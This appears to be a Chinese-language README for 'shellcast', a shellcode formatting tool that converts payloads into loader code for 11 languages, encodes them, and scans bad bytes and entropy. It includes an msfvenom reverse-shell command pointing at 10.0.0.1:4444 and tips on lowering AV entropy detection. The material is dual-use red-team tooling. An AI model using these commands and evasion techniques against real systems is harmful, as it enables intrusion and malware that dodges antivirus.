d7da/shellcast

GitHub: d7da/shellcast

一个零依赖的现代化 shellcode 格式转换工具,支持多语言输出、多种编码方案以及熵值与坏字节分析。

Stars: 0 | Forks: 0

# shellcast ![demo](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/90c300540d105407.gif) [![Python](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org) [![许可证](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE) [![PyPI](https://img.shields.io/pypi/v/shellcast)](https://pypi.org/project/shellcast) ## 问题所在 每次你处理来自 msfvenom、自定义 stub 或 CTF 挑战的 shellcode 时,最终都会重写相同的一次性格式化脚本。[ShellNoob](https://github.com/reyammer/shellnoob) 虽然存在,但自 2014 年以来就没有更新过,需要依赖 `gcc/as/objdump`,并且没有 PyPI 包。[Sickle](https://github.com/wetw0rk/sickle-pdk) 很强大,但不支持编码,也没有提供 `pip install`。 shellcast 是现代化的替代方案:零依赖、支持管道操作、11 种输出格式、多种编码方案以及熵值分析,集于一身。 ## 安装说明 ``` pip install shellcast ``` 需要 Python 3.10+。无外部依赖。 或者不安装直接运行: ``` python3 -m shellcast payload.bin --format c ``` ## 快速入门 ``` # 直接从 msfvenom 通过管道输入 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw | shellcast --format c # 同时输出多种格式 shellcast payload.bin --format c,python,powershell,rust # 嵌入前检查坏字节 shellcast payload.bin --avoid 00,0a,0d --format c # 先进行 XOR 编码再格式化 shellcast payload.bin --encode xor:0xAB --format c,csharp # 一次性完成全面分析 shellcast payload.bin --info --entropy --badchar-scan --format c ``` 将 *payload.bin* 替换为你实际的 payload ## 使用说明 ### 输入 ``` # 从原始二进制文件 shellcast payload.bin --format c # 从 stdin cat payload.bin | shellcast --format python # 从十六进制字符串 shellcast --hex "fc4883e4f0" --format c shellcast --hex "\xfc\x48\x83\xe4\xf0" --format c # 使用内置测试 payload(无需 msfvenom) shellcast --test-payload windows/x64/exec --format c shellcast --test-payload linux/x64/shell --format python ``` ### 输出格式 | 标志 | 语言 | 用例 | |---|---|---| | `c` | C / C++ | Loader 开发,漏洞利用 PoC | | `python` | Python | CTF 脚本,漏洞利用框架 | | `powershell` | PowerShell | Windows 红队 Loader | | `csharp` | C# | .NET Loader,Cobalt Strike BOF | | `rust` | Rust | 现代 Loader 开发 | | `go` | Go | 跨平台 Loader | | `java` | Java | 基于 JVM 的漏洞投递 | | `javascript` | JavaScript | 基于浏览器的 payload | | `bash` | Bash | Shell 脚本投递 | | `base64` | — | 传输和混淆 | | `hex` | — | 调试器,十六进制编辑器,其他工具 | ``` # 单一格式 shellcast payload.bin --format python # 一次性输出多种格式 shellcast payload.bin --format c,python,powershell,rust,go # 重命名输出变量 shellcast payload.bin --format c --var buf # 写入文件而非 stdout shellcast payload.bin --format c -o payload.c ``` ### 编码 ``` # 使用密钥进行 XOR shellcast payload.bin --encode xor:0xAB --format c # 按位 NOT shellcast payload.bin --encode not --format python # 使用密钥进行 ADD(超出 256 时回绕) shellcast payload.bin --encode add:0x05 --format c # 使用密钥进行 SUB(低于 0 时回绕) shellcast payload.bin --encode sub:0x05 --format c # 反转字节顺序 shellcast payload.bin --encode rev --format hex ``` Loader 应在执行前于运行时进行解码。C 语言中的 XOR 示例: ``` for (int i = 0; i < shellcode_len; i++) shellcode[i] ^= 0xAB; ``` ### 坏字节检测 坏字节是指会根据上下文破坏 shellcode 投递的字节。 | 字节 | 危险原因 | |---|---| | `0x00` | 空终止符 -> 在 `strcpy`、`strlen`、`gets` 时截断 C 字符串 | | `0x0a` | 换行符 -> 破坏基于行的输入函数,如 `fgets`、`scanf` | | `0x0d` | 回车符 -> 被 Windows 换行符解析器剥离 | | `0x20` | 空格 -> 破坏以空格分隔标记的输入和 CLI 参数 | ``` # 存在特定字节时发出警告(非致命错误,仍会生成输出) shellcast payload.bin --avoid 00,0a,0d --format c # 扫描所有字节并自动标记普遍危险的字节 shellcast payload.bin --badchar-scan ``` 坏字节警告会输出到 stderr。格式化的输出仍会发送到 stdout。 通过管道使用 `2>/dev/null` 可干净地屏蔽警告信息。 ### 熵值分析 Shannon 熵用于衡量你的 payload 对 AV 扫描器而言看起来有多随机。 | 分数 | 含义 | |---|---| | 0.0 – 6.5 | 正常范围 — 典型的 shellcode | | 6.5 – 7.5 | 偏高 — 需留意 | | 7.5 – 8.0 | 高 — 极有可能被 AV 熵值检测标记 | ``` shellcast payload.bin --entropy --format c ``` ### 完整元数据 ``` shellcast payload.bin --info --format c ``` 输出: ``` [*] Size: 511 bytes [*] Entropy: 5.84 / 8.00 (normal range) [*] Encoding: xor:0xab [*] Formats: c ``` ## 替代方案对比 | 功能特性 | shellcast | ShellNoob | Sickle-PDK | |---|---|---|---| | `pip install` | ✅ | ❌ | ❌ | | 零依赖 | ✅ | ❌ | ❌ | | 一次性多格式输出 | ✅ | ❌ | ❌ | | 编码方案 | ✅ | ❌ | ❌ | | 坏字节检测 | ✅ | ❌ | ✅ | | 熵值分析 | ✅ | ❌ | ❌ | | 对管道友好 | ✅ | ✅ | ✅ | | 最近更新 | 目前活跃 | 2014 | 活跃 | | 格式数量 | 11 | 12 | 20+ | ## 许可证 MIT
标签:CTF工具, DeepSeek, DNS 反向解析, Golang, msfvenom, Python安全工具, Rust, shellcode格式化, shellcode编码, shellcode转换, XML 请求, XOR编码, 二进制转换, 代码生成, 坏字符扫描, 安全开发, 安全编程, 恶意代码分析, 文档结构分析, 渗透测试工具, 漏洞搜索, 熵值分析, 网络安全, 网络流量审计, 逆向工具, 配置文件, 隐私保护